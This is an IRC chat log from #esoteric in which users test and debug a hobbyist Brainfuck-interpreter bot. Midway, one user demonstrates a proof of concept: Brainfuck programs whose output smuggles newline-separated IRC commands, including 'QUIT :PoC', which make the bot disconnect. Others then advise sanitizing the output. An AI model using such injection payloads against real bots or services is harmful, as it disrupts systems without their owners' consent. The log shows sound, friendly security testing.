is not generally delayed due to hardware capabilites, but instead due to software getting confused < 1395410330 893301 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :maurer, frankly this building's internet makes me sad in a lot of ways < 1395410339 23142 :ais523!~ais523@unaffiliated/ais523 QUIT :Ping timeout: 246 seconds < 1395410554 566794 :callforjudgement!~ais523@unaffiliated/ais523 QUIT :Ping timeout: 245 seconds < 1395410558 929381 :scarf!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395410636 260923 :scarf!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :OK, it /probably/ doesn't have IPv6 at all < 1395410712 517870 :scarf!~ais523@unaffiliated/ais523 QUIT :Read error: Connection reset by peer < 1395410728 388423 :scarf!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395410731 375609 :maurer!~maurer@MIMUNG.ECE.CMU.EDU PRIVMSG #esoteric :scarf: I mean, my building for example will do IPv6 within the building, just won't let that out of the building < 1395410740 324523 :scarf!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :it could be something like that, yes < 1395410750 372620 :scarf!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :except this connection is outside the local firewall < 1395410760 221041 :scarf!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :if I want to connect inside the building, I have to go back in through the firewall backwards < 1395410772 243700 :scarf!~ais523@unaffiliated/ais523 PRIVMSG #esoteric :(I'm happy at the fact it's outside, it means I'm unlikely to screw anything up) < 1395411012 904052 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :(A working IPv6 connection to what?) < 1395411018 292531 :scarf!~ais523@unaffiliated/ais523 QUIT :Ping timeout: 240 seconds < 1395411279 379609 :scarf!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395411279 486722 :scarf!~ais523@unaffiliated/ais523 QUIT :Client Quit < 1395411304 790514 :scarf!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395411436 413435 :ais523!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395411447 177432 :scarf!~ais523@unaffiliated/ais523 QUIT :Read error: Connection reset by peer < 1395411647 162342 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Remote host closed the connection < 1395411671 108176 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395411706 568779 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Remote host closed the connection < 1395411778 398740 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 240 seconds < 1395411796 385691 :callforjudgement!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395411841 800642 :ais523!~ais523@unaffiliated/ais523 QUIT :Read error: Connection reset by peer < 1395411885 343605 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Cool, µTorrent 2.2 still exists. < 1395411990 852697 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Beware of online scams! A number of websites have taken our free µTorrent client and attempt to charge money for it through some sort of "fee" or "subscription" or else they install it for free but infect your computer with malicious code in the process. < 1395412023 71893 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Oh, even this version has advertising in the installer. < 1395412035 883785 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :It's slightly... different, though. < 1395412077 852010 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :[✓] Yes, I'd love to check out this free book and support artists who support BitTorrent < 1395412153 564068 :callforjudgement!~ais523@unaffiliated/ais523 QUIT :Read error: Connection reset by peer < 1395412159 858122 :callforjudgement!~ais523@147.188.254.177 JOIN :#esoteric < 1395412162 785530 :callforjudgement!~ais523@147.188.254.177 QUIT :Changing host < 1395412162 840078 :callforjudgement!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395412442 868837 :callforjudgement!~ais523@unaffiliated/ais523 QUIT :Ping timeout: 265 seconds < 1395412485 867059 :callforjudgement!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395412600 521215 :callforjudgement!~ais523@unaffiliated/ais523 QUIT :Remote host closed the connection < 1395412620 870960 :callforjudgement!~ais523@unaffiliated/ais523 JOIN :#esoteric < 1395412631 514566 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1395412696 911107 :shikhout!~shikhin@120.57.231.127 JOIN :#esoteric < 1395412697 31264 :shikhout!~shikhin@120.57.231.127 QUIT :Changing host < 1395412697 87355 :shikhout!~shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395412906 879190 :callforjudgement!~ais523@unaffiliated/ais523 QUIT :Ping timeout: 265 seconds < 1395413145 356305 :passwordBOT!~passwordB@197.78.167.229 JOIN :#esoteric < 1395413160 808584 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bflist: < 1395413316 296558 :password2!~password@197.78.167.229 PRIVMSG #esoteric :mmm, do i need to be identified to talk here? < 1395413377 897258 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :passwordBOT: hunter2 < 1395413390 697290 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :fungot: hunter2 < 1395413390 805004 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :Jafet: to " print" statement should always remember the songs on p2p apps in scheme, besides, was not beyond normal credibility < 1395413417 907112 :password2!~password@197.78.167.229 PRIVMSG #esoteric :eh < 1395413454 2969 :password2!~password@197.78.167.229 PRIVMSG #esoteric :sorry i dont speak fungot < 1395413454 108710 :fungot!fis@eos.zem.fi PRIVMSG #esoteric :password2: i, myself, will bring an end to all. ghosts lurk in the ruins were in truth, and everything in readiness for fnord. under these is concerned, the use of " coup" here is one that only takes predicates and has not named a < 1395413520 268857 :password2!~password@197.78.167.229 PRIVMSG #esoteric :would it be a problem if my bot sits in this room? < 1395413588 975086 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bf:-[->++<] < 1395413589 803624 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 1275 cycles < 1395413600 476018 :password2!~password@197.78.167.229 PRIVMSG #esoteric :there we go < 1395413647 797212 :password2!~password@197.78.167.229 PRIVMSG #esoteric :it seems to be able to handle most bf code with exception to input , which it just skips over the < 1395413983 430957 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au JOIN :#esoteric < 1395414254 242335 :ket1v!~ket1v@CPE-124-177-3-128.lns1.dav.bigpond.net.au QUIT :Ping timeout: 245 seconds < 1395414437 862766 :ais523_!93bcc351@gateway/web/freenode/ip.147.188.195.81 JOIN :#esoteric < 1395415919 573749 :Vorpal!~Vorpal@unaffiliated/vorpal JOIN :#esoteric < 1395416165 240813 :variable!root@freebsd/developer/variable NICK :function < 1395416346 314114 :Bike!~Glossina@71-222-36-216.ptld.qwest.net JOIN :#esoteric < 1395416363 968099 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Disconnected by services < 1395416367 109424 :shikhout!~shikhin@unaffiliated/shikhin NICK :shikhin < 1395416432 980467 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395416924 749798 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover QUIT :Ping timeout: 252 seconds < 1395416995 378502 :function!root@freebsd/developer/variable NICK :trout < 1395417173 230379 :ais523_!93bcc351@gateway/web/freenode/ip.147.188.195.81 QUIT :Quit: Page closed < 1395417195 92513 :password2!~password@197.78.167.229 PRIVMSG #esoteric :what is up with the wisdom pdf < 1395417616 268890 :shikhin!~shikhin@unaffiliated/shikhin PRIVMSG #esoteric :password2: [] < 1395417623 578679 :shikhin!~shikhin@unaffiliated/shikhin PRIVMSG #esoteric :password2: +[] < 1395417630 181992 :shikhin!~shikhin@unaffiliated/shikhin PRIVMSG #esoteric :Err, d'oh. < 1395417635 304037 :shikhin!~shikhin@unaffiliated/shikhin PRIVMSG #esoteric :ACTION facepalms, and slides into corner. < 1395417654 405342 :password2!~password@197.78.167.229 PRIVMSG #esoteric ::/ < 1395417661 499520 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bf:+[] < 1395417663 489527 :shikhin!~shikhin@unaffiliated/shikhin PRIVMSG #esoteric :+bf:+[] < 1395417675 819916 :shikhin!~shikhin@unaffiliated/shikhin PRIVMSG #esoteric ::-) < 1395417681 752303 :password2!~password@197.78.167.229 PRIVMSG #esoteric :is that an inf loop? < 1395417689 462333 :shikhin!~shikhin@unaffiliated/shikhin PRIVMSG #esoteric :I think so, yes. < 1395417690 208723 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :it is < 1395417705 762274 :password2!~password@197.78.167.229 PRIVMSG #esoteric :wel it should stop after a billion cycles < 1395417715 970079 :shikhin!~shikhin@unaffiliated/shikhin PRIVMSG #esoteric :Is passwordBOT threaded? < 1395417724 625068 :password2!~password@197.78.167.229 PRIVMSG #esoteric :which might be a bit much < 1395417726 832991 :shikhin!~shikhin@unaffiliated/shikhin PRIVMSG #esoteric :+bf:-[->++<] < 1395417728 862921 :password2!~password@197.78.167.229 PRIVMSG #esoteric :nope < 1395417738 30375 :shikhin!~shikhin@unaffiliated/shikhin PRIVMSG #esoteric :Unfortunate, but hey, I helped a bit! < 1395417743 344309 :password2!~password@197.78.167.229 PRIVMSG #esoteric ::P < 1395417751 788713 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i think i should lower the cycle limit < 1395417768 970891 :shikhin!~shikhin@unaffiliated/shikhin PRIVMSG #esoteric :You most probably should. < 1395417797 684924 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1395417797 685042 :password2!~password@197.78.167.229 PRIVMSG #esoteric :1024^3 is a bit much < 1395417802 570455 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 1073741824 cycles < 1395417802 626208 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 1073741824 cycles < 1395417802 626390 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 5 cycles < 1395417825 903498 :password2!~password@197.78.167.229 PRIVMSG #esoteric :wow it actually qeued < 1395417834 86487 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bfdump: < 1395417835 234845 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :0 512 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 < 1395417850 798895 :password2!~password@197.78.167.229 PRIVMSG #esoteric :its not supposed to goto 512 < 1395417854 841121 :password2!~password@197.78.167.229 PRIVMSG #esoteric :lol < 1395417915 526770 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :just make an agony bot out of it < 1395417928 949355 :password2!~password@197.78.167.229 PRIVMSG #esoteric :agony? < 1395417959 188458 :shikherr!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395417968 779373 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :http://esolangs.org/wiki/Agony (d'oh) < 1395418039 536134 :password2!~password@197.78.167.229 PRIVMSG #esoteric :mmm, might add it next < 1395418078 683571 :password2!~password@197.78.167.229 PRIVMSG #esoteric :right after i'm done class extracting my bf code < 1395418103 298168 :idraumr!~shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395418127 32273 :shikhin!~shikhin@unaffiliated/shikhin QUIT :Ping timeout: 265 seconds < 1395418128 187853 :BeingUntoDeath!~BeingUnto@173-31-68-167.client.mchsi.com JOIN :#esoteric < 1395418129 436917 :shikherr!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395418135 276327 :shikhout!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395418146 729976 :idraumr!~shikhin@unaffiliated/shikhin NICK :shikhout < 1395418164 624554 :shikhout!~shikhin@unaffiliated/shikhin PRIVMSG #esoteric :+bf: -. < 1395418165 489023 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 1 cycles < 1395418172 613711 :shikhout!~shikhin@unaffiliated/shikhin PRIVMSG #esoteric :password2: No output? < 1395418190 221878 :password2!~password@197.78.167.229 PRIVMSG #esoteric :mmm , output chould work < 1395418195 921387 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i did Hello worls today < 1395418202 924694 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bf:-. < 1395418204 161809 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : outbuffPRIVMSG #esoteric :done and it took 1 cycles < 1395418211 913452 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :smooth. < 1395418212 737091 :shikhout!~shikhin@unaffiliated/shikhin PRIVMSG #esoteric :D: < 1395418213 803829 :password2!~password@197.78.167.229 PRIVMSG #esoteric :mmm < 1395418227 802208 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bfdump < 1395418228 944558 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bfdump: < 1395418229 325275 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : outbuffPRIVMSG #esoteric :254 512 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 < 1395418230 656012 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :lol < 1395418244 762871 :password2!~password@197.78.167.229 PRIVMSG #esoteric :it does not filter invalid chars < 1395418266 344670 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :+bf: ++++++[>+++++++++++<-]>. < 1395418270 237153 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 3334 cycles < 1395418286 82587 :password2!~password@197.78.167.229 PRIVMSG #esoteric :and it keeps it memory < 1395418303 982761 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :+bfdump: < 1395418308 665753 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : outbuffPRIVMSG #esoteric :0 3328 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 < 1395418323 768587 :password2!~password@197.78.167.229 PRIVMSG #esoteric :lol its borked now < 1395418324 983362 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :lol < 1395418327 475357 :password2!~password@197.78.167.229 PRIVMSG #esoteric :lemme see what i can do < 1395418389 657329 :passwordBOT!~passwordB@197.78.167.229 QUIT :Remote host closed the connection < 1395418404 423283 :passwordBOT!~passwordB@197.78.167.229 JOIN :#esoteric < 1395418406 227384 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i messed up when reflowing some code it seems < 1395418419 351239 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bf: ++++++[>+++++++++++<-]>. < 1395418465 145459 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bfdump: < 1395418465 664636 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : outbuffPRIVMSG #esoteric :0 66 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 < 1395418477 390273 :password2!~password@197.78.167.229 PRIVMSG #esoteric :-_- < 1395418479 533196 :password2!~password@197.78.167.229 PRIVMSG #esoteric :sig < 1395418480 161005 :password2!~password@197.78.167.229 PRIVMSG #esoteric :h < 1395418538 755139 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :come on, it's not THAT hard < 1395418564 463361 :password2!~password@197.78.167.229 PRIVMSG #esoteric :beer goggles is kicking in < 1395418578 744445 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :don't drink and bot < 1395418585 74744 :password2!~password@197.78.167.229 PRIVMSG #esoteric :lol < 1395418607 508780 :password2!~password@197.78.167.229 PRIVMSG #esoteric :I'll take my bot back to his test room and figure out why its gone awry < 1395418638 864908 :password2!~password@197.78.167.229 PRIVMSG #esoteric :shouldn't take too long though < 1395418644 386072 :passwordBOT!~passwordB@197.78.167.229 QUIT :Remote host closed the connection < 1395418750 398964 :password2!~password@197.78.167.229 PRIVMSG #esoteric :it should work now < 1395418761 102871 :passwordBOT!~passwordB@197.78.167.229 JOIN :#esoteric < 1395418808 454404 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bf: ++++++[>+++++++++++<-]>. < 1395418809 973082 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Output is: B < 1395418864 772080 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i cant make my mind up on how to handle input < 1395418881 500162 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :just do the ! thing. < 1395418923 700792 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bf: ++++++++++.[->++++++++<]>.++.---------.>+[--->++<]>.---------.++++++.------------.+[->++++<]>.+++.-[->+++<]>-.[--->+<]>----.----.+++++.+++[->+++<]>.+++++++++++++.---------.------.[--->+<]>-.---[->++<]>.--[--->+<]>--.+++++++++.. < 1395418929 360747 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 5252 cycles < 1395418929 415282 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Output is: L`bYVMSG #esoteric :foo < 1395418930 717408 :password2!~password@197.78.167.229 PRIVMSG #esoteric :so [-]!D < 1395418979 520502 :password2!~password@197.78.167.229 PRIVMSG #esoteric :whats that supposed to be? < 1395418997 26855 :password2!~password@197.78.167.229 PRIVMSG #esoteric :hello world? < 1395419007 679074 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :it tries to output `\nPRIVMSG #esoteric :foo` < 1395419021 738585 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bfreset: < 1395419024 477393 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bf:++++++++[>++++[>++>+++>+++>+<<<<-]>+>+>->>+[<]<-]>>.>---.+++++++..+++.>>.<-.<.+++.------.--------.>>+.>++. < 1395419028 29145 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 648 cycles < 1395419028 84614 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Output is: Hello World! < 1395419052 668987 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :I was testing if you had a bug that let one send arbitrary data < 1395419055 816512 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :^bfgen foo < 1395419062 381030 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :hm, what was it < 1395419064 223579 :password2!~password@197.78.167.229 PRIVMSG #esoteric :ah < 1395419069 527761 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :!help < 1395419070 189496 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​help: General commands: !help, !info, !bf_txtgen. See also !help languages, !help userinterps. You can get help on some commands by typing !help . < 1395419074 835182 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :!bf_txtgen foo < 1395419078 999497 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :​49 ++++++++++[>++++++++++>+>><<<<-]>++.+++++++++..>. [107] < 1395419081 860860 :password2!~password@197.78.167.229 PRIVMSG #esoteric :PRIVMSG #esoteric :foo\n\r < 1395419090 852409 :password2!~password@197.78.167.229 PRIVMSG #esoteric :*\r\n < 1395419092 684293 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :+bfreset:bf:++++++++++[>++++++++++>+>><<<<-]>++.+++++++++..>. < 1395419101 870492 :password2!~password@197.78.167.229 PRIVMSG #esoteric :if you end with that it may work < 1395419119 467820 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :can't chain commands, huh. < 1395419122 843930 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bfreset < 1395419133 475480 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bfreset:+bf:++++++++++[>++++++++++>+>><<<<-]>++.+++++++++..>. < 1395419134 642151 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 202 cycles < 1395419134 697215 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Output is: foo < 1395419146 434847 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bfreset: ++++++++++.[->++++++++<]>.++.---------.>+[--->++<]>.---------.++++++.------------.+[->++++<]>.+++.-[->+++<]>-.[--->+<]>----.----.+++++.+++[->+++<]>.+++++++++++++.---------.------.[--->+<]>-.---[->++<]>.--[--->+<]>--.+++++++++.. < 1395419154 225545 :huhuh!~area@wikipedia/PiRSquared17 JOIN :#esoteric < 1395419154 807578 :password2!~password@197.78.167.229 PRIVMSG #esoteric :it matches the whole word < 1395419164 225305 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :weird. < 1395419206 796567 :password2!~password@197.78.167.229 PRIVMSG #esoteric :yah , i want to be double sure i don't accidently match wors and start random spamming sprees < 1395419223 959639 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bf ++++++++++.[->++++++++<]>.++.---------.>+[--->++<]>.---------.++++++.------------.+[->++++<]>.+++.-[->+++<]>-.[--->+<]>----.----.+++++.+++[->+++<]>.+++++++++++++.---------.------.[--->+<]>-.---[->++<]>.--[--->+<]>--.+++++++++.. < 1395419225 59311 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bflis: < 1395419227 168047 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bflist: < 1395419227 643099 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Commands are +bf: +breset: +bfdump: +bfdumpascii: < 1395419238 93797 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :lol i just noticed >><<<<, good job txtgen < 1395419244 698409 :password2!~password@197.78.167.229 PRIVMSG #esoteric :dumpasci is still iffy < 1395419249 958633 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :password2: shouldn't bflist include bflist < 1395419262 213263 :password2!~password@197.78.167.229 PRIVMSG #esoteric :it would be redundant < 1395419288 963127 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :+help: < 1395419302 481382 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :Can you give it input? < 1395419307 356217 :password2!~password@197.78.167.229 PRIVMSG #esoteric :that was the help < 1395419312 26917 :password2!~password@197.78.167.229 PRIVMSG #esoteric :not yet < 1395419335 255941 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bfreset:+bf:++++++++++.>-[--->+<]>----.++++.------------.+++++++++++.[--->+<]>++++.---[->++<]>.--[->++++++<]>.[--->+<]>-.---[->+++<]>-.>++++++++++. < 1395419353 211382 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 4526 cycles < 1395419353 266878 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Output is: < 1395419353 267052 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :foo < 1395419353 267151 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 2711 cycles < 1395419353 267241 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Output is: yQUIT :PoC < 1395419366 717985 :password2!~password@197.78.167.229 PRIVMSG #esoteric :lol < 1395419387 286782 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :nortti: did you try \n and \r ? < 1395419422 817875 :password2!~password@197.78.167.229 PRIVMSG #esoteric :you need em to send a message apparently < 1395419459 296525 :Tritonio1!~Thunderbi@79.141.172.23 QUIT :Ping timeout: 240 seconds < 1395419534 997964 :password2!~password@197.78.167.229 PRIVMSG #esoteric :if you print "\r\nPRIVMSG "+room+" : foo\r\n" it might actually send the message < 1395419547 672828 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :+bfreset:+bf:+++++++++++++.---.>-[--->+<]>----.++++.------------.+++++++++++.[--->+<]>++++.---[->++<]>.--[->++++++<]>.[--->+<]>-.---[->+++<]>-.>+++++++++++++.---. < 1395419548 386061 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 2723 cycles < 1395419548 477724 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Output is: QUIT :PoC < 1395419553 233051 :oerjan!oerjan@sprocket.nvg.ntnu.no JOIN :#esoteric < 1395419565 740546 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :password2: do you put a limit on the amount of time it spends? < 1395419579 552659 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :so someone can't just do +[] < 1395419581 380472 :password2!~password@197.78.167.229 PRIVMSG #esoteric :8*1024*1024 cycles < 1395419588 508359 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :hm, okay < 1395419593 353535 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bf:+[] < 1395419594 623786 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 8388608 cycles < 1395419682 231978 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :+bf:>++++<> < 1395419682 618707 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 5 cycles < 1395419692 238316 :newsham!~chat@udp217044uds.hawaiiantel.net PRIVMSG #esoteric :teach a bf a fish < 1395419739 950909 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i see my cycle count is of < 1395419780 278006 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :+bfreset:+bf:+[.+] < 1395419785 826787 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 502 cycles < 1395419785 882445 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Output is:  < 1395419793 140218 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :hm < 1395419832 325650 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bfdump: < 1395419834 795360 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 < 1395419860 156851 :password2!~password@197.78.167.229 PRIVMSG #esoteric :!? < 1395419861 853094 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :How exciting! < 1395419881 138361 :password2!~password@197.78.167.229 PRIVMSG #esoteric :lol < 1395419896 988888 :password2!~password@197.78.167.229 PRIVMSG #esoteric :the bot to human line here is getting high < 1395419907 301055 :password2!~password@197.78.167.229 PRIVMSG #esoteric :+bfreset:+bf:+[.+] < 1395419907 921611 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 510 cycles < 1395419907 976425 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Output is:  < 1395419918 146072 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :+bfreset:+bf:++++++++++..... < 1395419920 852386 :password2!~password@197.78.167.229 PRIVMSG #esoteric :oh the pointer is ofscreen < 1395419921 415851 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :done and it took 14 cycles < 1395419921 470604 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Output is: < 1395419948 192628 :password2!~password@197.78.167.229 PRIVMSG #esoteric :mmm < 1395419959 633264 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i should print the dump more dunmically too < 1395419969 564789 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :+bfdump: < 1395419969 975015 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric :0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 < 1395419998 467169 :AnotherTest!~turingcom@d51A4C65C.access.telenet.be JOIN :#esoteric < 1395420004 734136 :password2!~password@197.78.167.229 PRIVMSG #esoteric :brb < 1395420008 838141 :passwordBOT!~passwordB@197.78.167.229 QUIT :Remote host closed the connection < 1395420028 4890 :password2!~password@197.78.167.229 PRIVMSG #esoteric :now the pointer should reset with the reset cmd < 1395420033 169862 :password2!~password@197.78.167.229 PRIVMSG #esoteric :and cycles should be correct < 1395420038 802516 :passwordBOT!~passwordB@197.78.167.229 JOIN :#esoteric < 1395420065 768793 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :password2: why doesn't ++++++++++. output "\n" ? < 1395420073 458349 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :+bfreset:+bf:++++++++++.>-[--->+<]>----.++++.------------.+++++++++++.[--->+<]>++++.---[->++<]>.--[->++++++<]>.[--->+<]>-.---[->+++<]>-.>++++++++++. < 1395420074 217861 :passwordBOT!~passwordB@197.78.167.229 PRIVMSG #esoteric : Output is: < 1395420074 272746 :passwordBOT!~passwordB@197.78.167.229 QUIT :Client Quit < 1395420083 501110 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :nortti: ^ < 1395420090 31020 :password2!~password@197.78.167.229 PRIVMSG #esoteric :lol < 1395420105 802444 :Bike!~Glossina@71-222-36-216.ptld.qwest.net PRIVMSG #esoteric :snazzy < 1395420106 605108 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric ::D < 1395420108 600982 :password2!~password@197.78.167.229 PRIVMSG #esoteric :did you tell it to quit? < 1395420114 453399 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :yes < 1395420119 133241 :password2!~password@197.78.167.229 PRIVMSG #esoteric :niice < 1395420120 569793 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :password2: the output is "\nQUIT :PoC" < 1395420125 941687 :nortti!nortti@nano.smar.fi PRIVMSG #esoteric :you should sanitize your output < 1395420126 53190 :passwordBOT!~passwordB@197.78.167.229 JOIN :#esoteric < 1395420128 383170 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :exactly what nortti gave, but it works now for some reason < 1395420146 451171 :huhuh!~area@wikipedia/PiRSquared17 PRIVMSG #esoteric :You should escape \n, \r, maybe also \b if people find it annoying < 1395420169 331663 :password2!~password@197.78.167.229 PRIVMSG #esoteric :i should ! < 1395420299 31414 